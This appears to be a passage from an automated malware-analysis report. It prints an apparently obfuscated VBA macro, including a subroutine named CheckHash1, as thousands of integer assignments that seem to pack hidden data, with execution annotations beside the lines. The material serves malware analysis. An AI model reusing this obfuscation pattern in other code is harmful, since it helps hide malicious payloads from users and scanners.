936	Y = 319422464
937	Y = 722670385
938	Y = 34541888
939	Y = 3195
940	Y = 6516484
941	Y = 319883776
942	Y = 25967
943	Y = 6713098
944	Y = 58591744
945	Y = 369360896
946	Y = 11048
947	Y = 6450954
948	Y = 266209792
949	Y = 141349
950	Y = 336792064
951	Y = 808
952	Y = 285269514
953	Y = 324540179
954	Y = 286462227
955	Y = 1941582129
956	Y = 167772211
957	Y = 252776467
958	Y = 26479
959	Y = 724701962
960	Y = 674370092
961	Y = 167772264
962	Y = 353441043
963	Y = 26920
964	Y = 6957066
965	Y = - 1972237824
966	Y = 376438786
967	Y = 27432
968	Y = 154342922
969	Y = 353439761
970	Y = 27759
971	Y = 674370058
972	Y = 167772269
973	Y = 249482029
974	Y = 385757714
975	Y = 452984834
976	Y = 28271
977	Y = 285400074
978	Y = 7302928
979	Y = 276630016
980	Y = 704905216
981	Y = 50241
982	Y = 0
983	Y = 636
984	Y = 117
985	Y = 753
986	Y = 15
987	Y = 16777224
988	Y = 0
989	Y = 408
990	Y = 360
991	Y = 768
992	Y = 15
993	Y = 16777224
994	Y = 0
995	Y = 783
996	Y = 8
997	Y = 791
998	Y = 15
999	Y = 16777224
1000	Y = 0
1001	Y = 806
1002	Y = 37
1003	Y = 843
1004	Y = 15
1005	Y = 16777224
1006	Y = 0
1007	Y = 30
1008	Y = 837
1009	Y = 867
1010	Y = 15
1011	Y = 16777224
1012	Y = 0
1013	Y = 946
1014	Y = 91
1015	Y = 1037
1016	Y = 15
1017	Y = 16777224
1018	Y = 0
1019	Y = 1089
1020	Y = 43
1021	Y = 1132
1022	Y = 15
1023	Y = 16777224
1024	Y = 2
1025	Y = 1166
1026	Y = 66
1027	Y = 1232
1028	Y = 14
1029	Y = 0
1030	Y = 274451
1031	Y = 116
1032	Y = 285212691
1033	Y = 209388055
1034	Y = 1862533120
1035	Y = 167772259
1036	Y = 25711
1037	Y = 722078474
1038	Y = 209388122
1039	Y = 1862533120
1040	Y = 167772259
1041	Y = 6647558
1042	Y = 1718553088
1043	Y = 1913257984
1044	Y = 1879048746
1045	Y = 817922
1046	Y = 1668219904
1047	Y = 101318656
1048	Y = 25967
1049	Y = 7368458
1050	Y = 1227360768
1051	Y = 50987008
1052	Y = 7022614
1053	Y = 857082368
1054	Y = 209388054
1055	Y = 1862533120
1056	Y = 167772259
1057	Y = 6647558
1058	Y = 1903102464
1059	Y = 101318656
1060	Y = 101341207
1061	Y = 715272455
1062	Y = 274451
1063	Y = 664
1064	Y = 285212692
1065	Y = 948994
1066	Y = - 529398784
1067	Y = 376438785
1068	Y = 27432
1069	Y = 120460810
1070	Y = 948994
1071	Y = 1915356160
1072	Y = 1879048672
1073	Y = - 1804466164
1074	Y = 678428674
1075	Y = 167772179
1076	Y = - 260962292
1077	Y = 678428674
1078	Y = 167772179
1079	Y = 1282541580
1080	Y = 678428675
1081	Y = 167772179
1082	Y = 1785858060
1083	Y = 678428675
1084	Y = 167772179
1085	Y = - 1166931956
1086	Y = 678428675
1087	Y = 167772179
1088	Y = - 562952180
1089	Y = 678428675
1090	Y = 167772179
1091	Y = - 59635700
1092	Y = 678428675
1093	Y = 167772179
1094	Y = 7481356
1095	Y = 387516928
1096	Y = 6771
1097	Y = 7566090
1098	Y = 369756672
1099	Y = 219547155
1100	Y = 369365782
1101	Y = - 986184429
1102	Y = 100663296
1103	Y = 29807
1104	Y = 285610762
1105	Y = 187897348
1106	Y = 386729489
1107	Y = - 1388837869
1108	Y = 285212672
1109	Y = 137562374
1110	Y = 1477903377
1111	Y = 1596654611
1112	Y = 823591953
1113	Y = 745670717
1114	Y = 292552708
1115	Y = 7677956
1116	Y = 1148324352
1117	Y = 678428676
1118	Y = 167772206
1119	Y = 1248987148
1120	Y = 158334980
1121	Y = 29992
1122	Y = 71594506
1123	Y = 774402048
1124	Y = 201981952
1125	Y = 72380936
1126	Y = 321417216
1127	Y = 201981952
1128	Y = 1913132843
1129	Y = 1879049290
1130	Y = 7677961
1131	Y = 1148324352
1132	Y = 678428676
1133	Y = 167772206
1134	Y = 218501388
1135	Y = 100930327
1136	Y = 30319
1137	Y = 7827210
1138	Y = 2099712
1139	Y = 1778384912
1140	Y = 1778717019
1141	Y = 1913137713
1142	Y = 1879049310
1143	Y = 4904
1144	Y = 1913129994
1145	Y = 1879049330
1146	Y = 1965557009
1147	Y = 1913257984
1148	Y = 1879049284
1149	Y = 11816
1150	Y = 85003274
1151	Y = 85153815
1152	Y = 7761670
1153	Y = 2003765760
1154	Y = 101318656
1155	Y = 30319
1156	Y = 7892746
1157	Y = 541002240
1158	Y = 301989887
1159	Y = 1026627332
1160	Y = 70021640
1161	Y = 68251648
1162	Y = 29992
1163	Y = 71594506
1164	Y = 774402048
1165	Y = 201981952
1166	Y = 71987720
1167	Y = 671707136
1168	Y = 167772277
1169	Y = 279666
1170	Y = 3025008
1171	Y = 135006720
1172	Y = 282738
1173	Y = 1255536
1174	Y = 722209280
1175	Y = 1248987159
1176	Y = 158334980
1177	Y = 29992
1178	Y = 71594506
1179	Y = 774402048
1180	Y = 201981952
1181	Y = 73298440
1182	Y = 321417216
1183	Y = 201981952
1184	Y = 77492744
1185	Y = 321417216
1186	Y = 201981952
1187	Y = 81424904
1188	Y = 321417216
1189	Y = 201981952
1190	Y = 83915272
1191	Y = 321417216
1192	Y = 201981952
1193	Y = 91255304
1194	Y = 321417216
1195	Y = 201981952
1196	Y = 94138888
1197	Y = 321417216
1198	Y = 201981952
1199	Y = 99512840
1200	Y = 321417216
1201	Y = 201981952
1202	Y = 386208022
1203	Y = 319296345
1204	Y = 136194823
1205	Y = 398450
1206	Y = 671551856
1207	Y = 167772277
1208	Y = 406130
1209	Y = 3025008
1210	Y = 286001664
1211	Y = 324540167
1212	Y = 285675783
1213	Y = 148648200
1214	Y = 408690
1215	Y = 1255536
1216	Y = 135006720
1217	Y = 414322
1218	Y = 1255536
1219	Y = 135006720
1220	Y = 418930
1221	Y = 1255536
1222	Y = 135006720
1223	Y = 428146
1224	Y = 1255536
1225	Y = 135006720
1226	Y = 286322
1227	Y = 1255536
1228	Y = 34343424
1229	Y = 949512
1230	Y = 705168384
1231	Y = 1112167234
1232	Y = 65537
1233	Y = 0
1234	Y = 12
1235	Y = 808333942
1236	Y = 925906222
1237	Y = 14130
1238	Y = 327680
1239	Y = 108
1240	Y = 2352
1241	Y = 32291
1242	Y = 2460
1243	Y = 3200
1244	Y = 1920226083
1245	Y = 1936158313
1246	Y = 0
1247	Y = 5660
1248	Y = 1684
1249	Y = 5461283
1250	Y = 7344
1251	Y = 16
1252	Y = 1230325539
1253	Y = 68
1254	Y = 7360
1255	Y = 1108
1256	Y = 1869365795
1257	Y = 98
1258	Y = 0
1259	Y = 16777218
1260	Y = 161619287
1261	Y = 9
1262	Y = 858126848
1263	Y = 5632
1264	Y = 1
1265	Y = 81
1266	Y = 5
1267	Y = 18
1268	Y = 24
1269	Y = 16
1270	Y = 132
1271	Y = 2
1272	Y = 17
1273	Y = 20
1274	For I = 1 To 2
1275	Y = 2
1276	Next
1277	Y = 4
1278	Y = 2
1279	Y = 1
1280	Y = 7
1281	Y = 208601088
1282	Y = 1
1283	Y = 393216
1284	Y = 5570652
1285	Y = 20250630
1286	Y = 393508
1287	Y = 19136860
1288	Y = 29294606
1289	Y = 917929
1290	Y = 27853344
1291	Y = 40828946
1292	Y = 393809
1293	Y = 45482705
1294	Y = 50135046
1295	Y = 655445
1296	Y = 51643195
1297	Y = 57212934
1298	Y = 393508
1299	Y = 58327946
1300	Y = 60555270
1301	Y = 1442084
1302	Y = 61473391
1303	Y = 63307786
1304	Y = 394004
1305	Y = 5571550
1306	Y = 66125830
1307	Y = 655445
1308	Y = 1246211
1309	Y = 68878346
1310	Y = 394004
1311	Y = 70714435
1312	Y = 74055686
1313	Y = 655445
1314	Y = 1246337
1315	Y = 78774278
1316	Y = 394408
1317	Y = 78120125
1318	Y = 80084998
1319	Y = 394408
1320	Y = 5571793
1321	Y = 81461254
1322	Y = 918696
1323	Y = 27854056
1324	Y = 86900742
1325	Y = 394408
1326	Y = 78120270
1327	Y = 90570758
1328	Y = 394408
1329	Y = 78120326
1330	Y = 94502918
1331	Y = 394408
1332	Y = 78120364
1333	Y = 96600070
1334	Y = 394408
1335	Y = 78120435
1336	Y = 100597770
1337	Y = 655379
1338	Y = 1246731
1339	Y = 102563846
1340	Y = 394408
1341	Y = 104466010
1342	Y = 108724230
1343	Y = 1179733
1344	Y = 38864513
1345	Y = 109969426
1346	Y = 393809
1347	Y = 5572262
1348	Y = 113246214
1349	Y = 1181358
1350	Y = 38864595
1351	Y = 119996442
1352	Y = 1705745
1353	Y = 118556500
1354	Y = 126222342
1355	Y = 394408
1356	Y = 5572495
1357	Y = 127402002
1358	Y = 1966673
1359	Y = 127993783
1360	Y = 130154526
1361	Y = 395169
1362	Y = 5572558
1363	Y = 131530783
1364	Y = 655360
1365	Y = 140052598
1366	Y = 145227794
1367	Y = 1966673
1368	Y = 127994057
1369	Y = 148963358
1370	Y = 1968033
1371	Y = 127994092
1372	Y = 151650334
1373	Y = 1968033
1374	Y = 127994141
1375	Y = 154730526
1376	Y = 395169
1377	Y = 45484531
1378	Y = 168427538
1379	Y = 1180241
1380	Y = 38865456
1381	Y = 175767562
1382	Y = 394004
1383	Y = 5573279
1384	Y = 180027398
1385	Y = 394408
1386	Y = 184617748
1387	Y = 187171095
1388	Y = 393216
1389	Y = 104467255
1390	Y = 190251014
1391	Y = 394810
1392	Y = 112069493
1393	Y = 196149254
1394	Y = 396178
1395	Y = 194120639
1396	Y = 198377478
1397	Y = 394926
1398	Y = 112069614
1399	Y = 201916422
1400	Y = 394926
1401	Y = 112069666
1402	Y = 205193222
1403	Y = 394926
1404	Y = 112069720
1405	Y = 0
1406	Y = 1
1407	Y = 65536
1408	Y = 16777217
1409	Y = 2686992
1410	Y = 327729
1411	Y = 65537
1412	Y = 1048832
1413	Y = 3211323
1414	Y = 327685
1415	Y = 65544
1416	Y = 4194304
1417	Y = 327729
1418	Y = 786443
1419	Y = 1
1420	Y = 3211340
1421	Y = 786437
1422	Y = 1441809
1423	Y = 1507434
1424	Y = 7798806
1425	Y = 1441815
1426	Y = 1507459
1427	Y = 8912918
1428	Y = - 2142175209
1429	Y = 1507610
1430	Y = 20643857
1431	Y = 1114195
1432	Y = 5439818
1433	Y = 4980753
1434	Y = 1114199
1435	Y = 5963840
1436	Y = 23199761
1437	Y = 65631
1438	Y = 7078352
1439	Y = 41615361
1440	Y = - 2142175088
1441	Y = 9699967
1442	Y = 42926081
1443	Y = 65559
1444	Y = 7078352
1445	Y = 44367873
1446	Y = 65696
1447	Y = 9700011
1448	Y = 47710209
1449	Y = 567017636
1450	Y = 0
1451	Y = 6494225
1452	Y = 65555
1453	Y = 8696
1454	Y = 1441792
1455	Y = 1704081
1456	Y = 576192513
1457	Y = 0
1458	Y = 11141142
1459	Y = 131103
1460	Y = 8856
1461	Y = 1441792
1462	Y = 2490565
1463	Y = 584843267
1464	Y = 0
1465	Y = 14221334
1466	Y = 262170
1467	Y = 8984
1468	Y = 1441792
1469	Y = 1704168
1470	Y = 591921157
1471	Y = 0
1472	Y = 16318486
1473	Y = 393260
1474	Y = 8272
1475	Y = 403767296
1476	Y = 1245283
1477	Y = 543948808
1478	Y = 0
1479	Y = 3866646
1480	Y = 524307
1481	Y = 8508
1482	Y = 1114112
1483	Y = 6488426
1484	Y = 562298888
1485	Y = 0
1486	Y = 25690129
1487	Y = 589923
1488	Y = 9124
1489	Y = 403046400
1490	Y = 6816163
1491	Y = 599261194
1492	Y = 0
1493	Y = 31591233
1494	Y = 655472
1495	Y = 9164
1496	Y = 188809248
1497	Y = 7668215
1498	Y = 605552650
1499	Y = 0
1500	Y = 35389446
1501	Y = 721000
1502	Y = 9312
1503	Y = 65536
1504	Y = 8061488
1505	Y = 640942091
1506	Y = 0
1507	Y = 27465734
1508	Y = 852072
1509	Y = 9828
1510	Y = 188809216
1511	Y = 7340514
1512	Y = 645398541
1513	Y = 2097152
1514	Y = 32967489
1515	Y = 852085
1516	Y = 9924
1517	Y = 393216
1518	Y = 6816284
1519	Y = 670564366
1520	Y = 0
1521	Y = 43843585
1522	Y = 917660
1523	Y = 10296
1524	Y = 65536
1525	Y = 8061488
1526	Y = 770965518
1527	Y = 0
1528	Y = 48168961
1529	Y = 1048747
1530	Y = 11892
1531	Y = 65536
1532	Y = 11535092
1533	Y = 17
1534	Y = 10878977
1535	Y = 65536
1536	Y = 191
1537	Y = 12517377
1538	Y = 65536
1539	Y = 166
1540	Y = 10878977
1541	Y = 65536
1542	Y = 270
1543	Y = 18153474
1544	Y = 65536
1545	Y = 386
1546	Y = 25296897
1547	Y = 65536
1548	Y = 524
1549	Y = 38273025
1550	Y = 131072
1551	Y = 591
1552	Y = 34340865
1553	Y = 65536
1554	Y = 584
1555	Y = 38731778
1556	Y = 65536
1557	Y = 1639147
1558	Y = 11797255
1559	Y = 54984777
1560	Y = 4784314
1561	Y = 1246039
1562	Y = 27459609
1563	Y = 5308608
1564	Y = 6816628
1565	Y = 59965529
1566	Y = 6357190
1567	Y = 13435299
1568	Y = 27459601
1569	Y = 6881491
1570	Y = 1245724
1571	Y = 62849041
1572	Y = 7405795
1573	Y = 6816163
1574	Y = 27459705
1575	Y = 8454248
1576	Y = 15926264
1577	Y = 67829897
1578	Y = 8978679
1579	Y = 16647183
1580	Y = 68354185
1581	Y = 8978686
1582	Y = 16974871
1583	Y = 69664913
1584	Y = 8454408
1585	Y = 17630256
1586	Y = 72089753
1587	Y = 8454440
1588	Y = 19727445
1589	Y = 73466009
1590	Y = 10551602
1591	Y = 2491506
1592	Y = 76480649
1593	Y = 10551609
1594	Y = 21496983
1595	Y = 27459761
1596	Y = 11600206
1597	Y = 22479864
1598	Y = 81133745
1599	Y = 13697371
1600	Y = 6816628
1601	Y = 81920177
1602	Y = 590179
1603	Y = 6816163
1604	Y = 27459617
1605	Y = 14221416
1606	Y = 13435299
1607	Y = 83558433
1608	Y = 2163065
1609	Y = 24708361
1610	Y = 85196833
1611	Y = 2162844
1612	Y = 6817055
1613	Y = 87556321
1614	Y = 14745988
1615	Y = 10224962
1616	Y = 89653473
1617	Y = 14745994
1618	Y = 26150260
1619	Y = 93651193
1620	Y = 16842928
1621	Y = 26478009
1622	Y = 96928017
1623	Y = 16842778
1624	Y = 27133411
1625	Y = 70254721
1626	Y = 18416036
1627	Y = 28050936
1628	Y = 102170913
1629	Y = 18416049
1630	Y = 29034028
1631	Y = 27459897
1632	Y = 786603
1633	Y = 6816163
1634	Y = 110625097
1635	Y = 23134716
1636	Y = 33687240
1637	Y = 57934161
1638	Y = 21561863
1639	Y = 34014926
1640	Y = 27459945
1641	Y = 21561448
1642	Y = 34670308
1643	Y = 116392265
1644	Y = 21561873
1645	Y = 34998077
1646	Y = 124387657
1647	Y = 21561885
1648	Y = 11536253
1649	Y = 27459969
1650	Y = 16318635
1651	Y = 37029858
1652	Y = 133366153
1653	Y = 27853371
1654	Y = 15927297
1655	Y = 134939049
1656	Y = 27853043
1657	Y = 15927319
1658	Y = 136511913
1659	Y = 16318707
1660	Y = 37029940
1661	Y = 138871033
1662	Y = 28901941
1663	Y = 37816457
1664	Y = 143786257
1665	Y = 8454170
1666	Y = 38077488
1667	Y = 144572697
1668	Y = 22086220
1669	Y = 38996131
1670	Y = 69664913
1671	Y = 29426297
1672	Y = 15927474
1673	Y = 146866625
1674	Y = 29426302
1675	Y = 44304595
1676	Y = 150536657
1677	Y = 31523498
1678	Y = 45091096
1679	Y = 153747945
1680	Y = 32572087
1681	Y = 11209029
1682	Y = 156434881
1683	Y = 25755752
1684	Y = 15927640
1685	Y = 157352329
1686	Y = 25756349
1687	Y = 15927658
1688	Y = 158663049
1689	Y = 25756349
1690	Y = 15927680
1691	Y = 160104841
1692	Y = 25756349
1693	Y = 15927702
1694	Y = 161874313
1695	Y = 16319165
1696	Y = 46401974
1697	Y = 164036857
1698	Y = 16319172
1699	Y = 46402010
1700	Y = 166461721
1701	Y = 29426379
1702	Y = 34014068
1703	Y = 167837708
1704	Y = 21562064
1705	Y = 47909398
1706	Y = 170263041
1707	Y = 33620211
1708	Y = 48302651
1709	Y = 172229129
1710	Y = 786608
1711	Y = 48761421
1712	Y = 173735956
1713	Y = 17892089
1714	Y = 1706599
1715	Y = 175374473
1716	Y = 34668570
1717	Y = 50203268
1718	Y = 177340428
1719	Y = 1311493
1720	Y = 10226326
1721	Y = 178979353
1722	Y = 786536
1723	Y = 51055283
1724	Y = 125633033
1725	Y = 34144432
1726	Y = 6818284
1727	Y = 180879465
1728	Y = 35717697
1729	Y = 58917283
1730	Y = 182125089
1731	Y = 9502963
1732	Y = 59311143
1733	Y = 182780449
1734	Y = 13697934
1735	Y = 22481652
1736	Y = 66584785
1737	Y = 36241751
1738	Y = 60883363
1739	Y = 27460153
1740	Y = 37815208
1741	Y = 6816163
1742	Y = 27460169
1743	Y = 38863019
1744	Y = 11207075
1745	Y = 27460185
1746	Y = 39911953
1747	Y = 11207075
1748	Y = 27460201
1749	Y = 40960171
1750	Y = 11207075
1751	Y = 27460217
1752	Y = 42008747
1753	Y = 11207075
1754	Y = 27460233
1755	Y = 917675
1756	Y = 3276820
1757	Y = 3407880
1758	Y = 3014807
1759	Y = 64881635
1760	Y = 69402670
1761	Y = 3015734
1762	Y = 68486131
1763	Y = 68878382
1764	Y = 3015734
1765	Y = 62260179
1766	Y = 64684078
1767	Y = 3015615
1768	Y = 65733611
1769	Y = 63635502
1770	Y = 3015597
1771	Y = 68486139
1772	Y = 67305518
1773	Y = 3015701
1774	Y = 68486155
1775	Y = 68354094
1776	Y = 4391963
1777	Y = 15597659
1778	Y = 5963875
1779	Y = 18874606
1780	Y = 15597667
1781	Y = 26411361
1782	Y = 31523296
1783	Y = 31457683
1784	Y = 15270108
1785	Y = 18022633
1786	Y = 18809114
1787	Y = 21233988
1788	Y = 24379755
1789	Y = 15270271
1790	Y = 24379843
1791	Y = 35914111
1792	Y = 51446318
1793	Y = 59966334
1794	Y = 65540
1795	Y = 131077
1796	Y = 29294592
1797	Y = 130
1798	Y = 8520127
1799	Y = 851970
1800	Y = 65539
1801	Y = 196622
1802	Y = 1179650
1803	Y = 65541
1804	Y = 327699
1805	Y = 49414646
1806	Y = 32772
1807	Y = 1
1808	For I = 1 To 2
1809	Y = 0
1810	Next
1811	Y = 3211264
1812	Y = 131072
1813	For I = 1 To 2
1814	Y = 0
1815	Next
1816	Y = 65536
1817	Y = 10
1818	Y = 524288
1819	For I = 1 To 2
1820	Y = 0
1821	Next
1822	Y = 655360
1823	Y = 19
1824	Y = 131072
1825	For I = 1 To 2
1826	Y = 0
1827	Next
1828	Y = 65536
1829	Y = 85
1830	Y = 917504
1831	For I = 1 To 2
1832	Y = 0
1833	Next
1834	Y = 8847360
1835	Y = 593
1836	Y = 131072
1837	For I = 1 To 2
1838	Y = 0
1839	Next
1840	Y = 65536
1841	Y = 938
1842	Y = 917504
1843	For I = 1 To 2
1844	Y = 0
1845	Next
1846	Y = 8847360
1847	Y = 1802
1848	Y = 917504
1849	For I = 1 To 2
1850	Y = 0
1851	Next
1852	Y = 8847360
1853	Y = 1953
1854	Y = 0
1855	Y = 1867332608
1856	Y = 1701606756
1857	Y = 1936523326
1858	Y = 1819438947
1859	Y = 1291870825
1860	Y = 1869767529
1861	Y = 1952870259
1862	Y = 1936283182
1863	Y = 1114399093
1864	Y = 1667855201
1865	Y = 1869367040
1866	Y = 1936482658
1867	Y = 1920230144
1868	Y = 1851879532
1869	Y = 1291873381
1870	Y = 7235937
1871	Y = 1735748688
1872	Y = 1816358505
1873	Y = 7566177
1874	Y = 1128350294
1875	Y = 1936941420
1876	Y = 1937330944
1877	Y = 7169396
1878	Y = 1701470799
1879	Y = 771781731
1880	Y = 1869898595
1881	Y = 1381957746
1882	Y = 1699964773
1883	Y = 1769108835
1884	Y = 1593866612
1885	Y = 1332176210
1886	Y = 1869182064
1887	Y = 1593865070
1888	Y = 4411204
1889	Y = 1869566559
1890	Y = 1919501428
1891	Y = 1668171008
1892	Y = 1600480367
1893	Y = 1868784964
1894	Y = 1398760804
1895	Y = 1852404340
1896	Y = 1951596647
1897	Y = 1850015858
1898	Y = 1701080931
1899	Y = 1667581023
1900	Y = 1600480367
1901	Y = 1702132034
1902	Y = 1107309171
1903	Y = 1936028793
1904	Y = 1668171008
1905	Y = 1600480367
1906	Y = 1868784964
1907	Y = 1113548132
1908	Y = 1936028793
1909	Y = 1668171008
1910	Y = 1415930991
1911	Y = 1935753839
1912	Y = 3421797
1913	Y = 1868784964
1914	Y = 1917216100
1915	Y = 1631743343
1916	Y = 875980147
1917	Y = 1886339840
1918	Y = 1684947321
1919	Y = 1868787269
1920	Y = 1147102564
1921	Y = 1685021541
1922	Y = 1867710565
1923	Y = 1701016181
1924	Y = 1936016384
1925	Y = 1967980660
1926	Y = 1316513140
1927	Y = 6647137
1928	Y = 1953724755
1929	Y = 1412328805
1930	Y = 1634038376
1931	Y = 1735289188
1932	Y = 1835619328
1933	Y = 1442869861
1934	Y = 1816346946
1935	Y = 1601401697
1936	Y = 1701669204
1937	End Sub

Subroutine
CheckHash1APIs: 0, Strings: 0, Number of lines: 1027, Relevance: 1.027

Line	Instruction	Meta Information
1938	Private Sub CheckHash1()
1939	Y = 1817182322	executed
1940	Y = 1852401525
1941	Y = 1935764547
1942	Y = 1767137139
1943	Y = 7497069
1944	Y = 1702131021
1945	Y = 2035089528
1946	Y = 1702131021
1947	Y = 1112932472
1948	Y = 1634485057
1949	Y = 1415541619
1950	Y = 1919249769
1951	Y = 1818313567
1952	Y = 1667318380
1953	Y = 1953693803
1954	Y = 6648929
1955	Y = 1735748688
1956	Y = 1816358505
1957	Y = 1601401697
1958	Y = 1701669204
1959	Y = 1631805298
1960	Y = 1631743084
1961	Y = 771779427
1962	Y = 1919906915
1963	Y = 1937330944
1964	Y = 778921332
1965	Y = 1886220099
1966	Y = 1852141167
1967	Y = 1685015924
1968	Y = 1107324005
1969	Y = 1735091041
1970	Y = 1853190002
1971	Y = 1919899492
1972	Y = 7497067
1973	Y = 1667318367
1974	Y = 1869768555
1975	Y = 1466199669
1976	Y = 1701540463
1977	Y = 1701249138
1978	Y = 1631739764
1979	Y = 1919380323
1980	Y = 1684960623
1981	Y = 1802661719
1982	Y = 1929409125
1983	Y = 1113551973
1984	Y = 1735091041
1985	Y = 1853190002
1986	Y = 1919899492
1987	Y = 7497067
1988	Y = 1752459607
1989	Y = 1852143173
1990	Y = 1633055604
1991	Y = 6649196
1992	Y = 7238994
1993	Y = 1868001092
1994	Y = 1984260978
1995	Y = 1098149477
1996	Y = 7563122
1997	Y = 1801675074
1998	Y = 1970238055
1999	Y = 1867998318
2000	Y = 1919249266
2001	Y = 1466909791
2002	Y = 7041647
2003	Y = 1684956531
2004	Y = 1694528101
2005	Y = 1667845376
2006	Y = 1869836146
2007	Y = 1328444518
2008	Y = 1667851878
2009	Y = 1850289765
2010	Y = 1869768052
2011	Y = 1867984496
2012	Y = 1090544754
2013	Y = 1768714352
2014	Y = 1769234787
2015	Y = 1090547311
2016	Y = 1459646576
2017	Y = 1667321188
2018	Y = 1866755954
2019	Y = 1701672291
2020	Y = 1291875438
2021	Y = 1919112057
2022	Y = 1131704425
2023	Y = 1701340001
2024	Y = 1098074368
2025	Y = 1263497328
2026	Y = 1818838528
2027	Y = 1174434661
2028	Y = 1936026729
2029	Y = 1701080649
2030	Y = 2035482744
2031	Y = 1835365491
2032	Y = 1819231022
2033	Y = 1952671084
2034	Y = 1936617321
2035	Y = 1852131118
2036	Y = 1667854949
2037	Y = 1936280576
2038	Y = 3235956
2039	Y = 1986622020
2040	Y = 1124103013
2041	Y = 1918985580
2042	Y = 1701012818
2043	Y = 1174434926
2044	Y = 1315269737
2045	Y = 6647137
2046	Y = 1666414925
2047	Y = 1953524082
2048	Y = 1668826368
2049	Y = 1769238629
2050	Y = 1325428335
2051	Y = 1164862832
2052	Y = 1953720696
2053	Y = 6778473
2054	Y = 1919117645
2055	Y = 1718580079
2056	Y = 1767255668
2057	Y = 1818326387
2058	Y = 1769169218
2059	Y = 1866673763
2060	Y = 1818849389
2061	Y = 1699967589
2062	Y = 1667855986
2063	Y = 1342206821
2064	Y = 1701474162
2065	Y = 1631876195
2066	Y = 1392533876
2067	Y = 1917875301
2068	Y = 1667590767
2069	Y = 1920091508
2070	Y = 1124102767
2071	Y = 1918985580
2072	Y = 1785688656
2073	Y = 1165255525
2074	Y = 1919906418
2075	Y = 1767986944
2076	Y = 1851869300
2077	Y = 6646884
2078	Y = 1936682051
2079	Y = 1766654053
2080	Y = 1936683619
2081	Y = 779380335
2082	Y = 862873943
2083	Y = 1699872818
2084	Y = 1953720679
2085	Y = 1392540018
2086	Y = 1633055845
2087	Y = 6649196
2088	Y = 1701669204
2089	Y = 1818313586
2090	Y = 1667326572
2091	Y = 2035482731
2092	Y = 1835365491
2093	Y = 1852397358
2094	Y = 1937207140
2095	Y = 1919895086
2096	Y = 1124103021
2097	Y = 1735287144
2098	Y = 1951596645
2099	Y = 1633971809
2100	Y = 1867342962
2101	Y = 1701606756
2102	Y = 1920234561
2103	Y = 1953849961
2104	Y = 1414725733
2105	Y = 1919439937
2106	Y = 1097097573
2107	Y = 1769108596
2108	Y = 1702131042
2109	Y = 1920226048
2110	Y = 6778473
2111	Y = 1601463655
2112	Y = 1735288140
2113	Y = 1392535668
2114	Y = 1852404340
2115	Y = 1291875175
2116	Y = 1090544745
2117	Y = 1275093875
2118	Y = 1124101733
2119	Y = 1124102760
2120	Y = 1702260335
2121	Y = 1869181810
2122	Y = 1409315694
2123	Y = 1920226159
2124	Y = 6778473
2125	Y = 1668181827
2126	Y = 1392538721
2127	Y = 1702130553
2128	Y = 1700015725
2129	Y = 1157657720
2130	Y = 1685021550
2131	Y = 6778473
2132	Y = 1601463655
2133	Y = 944133205
2134	Y = 1131369472
2135	Y = 1098015080
2136	Y = 2036429426
2137	Y = 1952794368
2138	Y = 1702132034
2139	Y = 1866662003
2140	Y = 1919252078
2141	Y = 1867776116
2142	Y = 1702060354
2143	Y = 1951609910
2144	Y = 1735289202
2145	Y = 1836008192
2146	Y = 1701994864
2147	Y = 1752458573
2148	Y = 1375757423
2149	Y = 1634496613
2150	Y = 1174431075
2151	Y = 1114468210
2152	Y = 912618337
2153	Y = 1920226100
2154	Y = 6778473
2155	Y = 1953724755
2156	Y = 1227779429
2157	Y = 1766195279
2158	Y = 1951622508
2159	Y = 1835099506
2160	Y = 1818838528
2161	Y = 1685015909
2162	Y = 1766195301
2163	Y = 1665230188
2164	Y = 1936942435
2165	Y = 1954103808
2166	Y = 1699872869
2167	Y = 1392534625
2168	Y = 1634038388
2169	Y = 1918304365
2170	Y = 6648937
2171	Y = 1868001092
2172	Y = 1984260978
2173	Y = 1215589989
2174	Y = 1818521185
2175	Y = 1912631909
2176	Y = 1987013989
2177	Y = 1866751845
2178	Y = 1802661719
2179	Y = 1684300032
2180	Y = 1466909791
2181	Y = 7041647
2182	Y = 1601463655
2183	Y = 1967289161
2184	Y = 1375762803
2185	Y = 1868000885
2186	Y = 1919249266
2187	Y = 1853453121
2188	Y = 1917059171
2189	Y = 1231386217
2190	Y = 7300718
2191	Y = 1148478791
2192	Y = 1702259058
2193	Y = 1701249139
2194	Y = 1934188404
2195	Y = 1684104530
2196	Y = 1917059193
2197	Y = 1415935593
2198	Y = 6647929
2199	Y = 1601463655
2200	Y = 1986622020
2201	Y = 1886999653
2202	Y = 1766064229
2203	Y = 1952671090
2204	Y = 1232695919
2205	Y = 7300718
2206	Y = 1601463655
2207	Y = 1953460050
2208	Y = 1701996868
2209	Y = 1919906915
2210	Y = 1766195321
2211	Y = 2035508588
2212	Y = 1835365491
2213	Y = 1868983881
2214	Y = 1952802560
2215	Y = 1819625055
2216	Y = 1835093612
2217	Y = 1766064229
2218	Y = 1952671090
2219	Y = 7959151
2220	Y = 1918985555
2221	Y = 1884252259
2222	Y = 1852795252
2223	Y = 1952794368
2224	Y = 1701603654
2225	Y = 1632632947
2226	Y = 1191209076
2227	Y = 1766224997
2228	Y = 1632527724
2229	Y = 1767335277
2230	Y = 1970235508
2231	Y = 1954039156
2232	Y = 1769172581
2233	Y = 1124101743
2234	Y = 1952540018
2235	Y = 1919501413
2236	Y = 1869898597
2237	Y = 1174436210
2238	Y = 6646889
2239	Y = 1936291909
2240	Y = 1224766324
2241	Y = 1919251566
2242	Y = 1769235297
2243	Y = 1090547311
2244	Y = 1767338096
2245	Y = 2037666670
2246	Y = 1392534892
2247	Y = 1819043176
2248	Y = 1818838528
2249	Y = 1953775973
2250	Y = 1969383794
2251	Y = 7562612
2252	Y = 1098147155
2253	Y = 1769108596
2254	Y = 1702131042
2255	Y = 2035482739
2256	Y = 1835365491
2257	Y = 1853182510
2258	Y = 1701669236
2259	Y = 1836008238
2260	Y = 1701603696
2261	Y = 1919243122
2262	Y = 1701013878
2263	Y = 1665204339
2264	Y = 1936942435
2265	Y = 1750361189
2266	Y = 1735749490
2267	Y = 1869762664
2268	Y = 1953654128
2269	Y = 1953775993
2270	Y = 1969383794
2271	Y = 1224762740
2272	Y = 842232942
2273	Y = 1883332352
2274	Y = 1667853424
2275	Y = 1869182049
2276	Y = 1866727534
2277	Y = 1701672291
2278	Y = 7566446
2279	Y = 1601463655
2280	Y = 1969450820
2281	Y = 1953391981
2282	Y = 1866596467
2283	Y = 1634036847
2284	Y = 2035482734
2285	Y = 1835365491
2286	Y = 1717916206
2287	Y = 1952671084
2288	Y = 7237481
2289	Y = 1936943437
2290	Y = 6778473
2291	Y = 1970037078
2292	Y = 1968242789
2293	Y = 1090548841
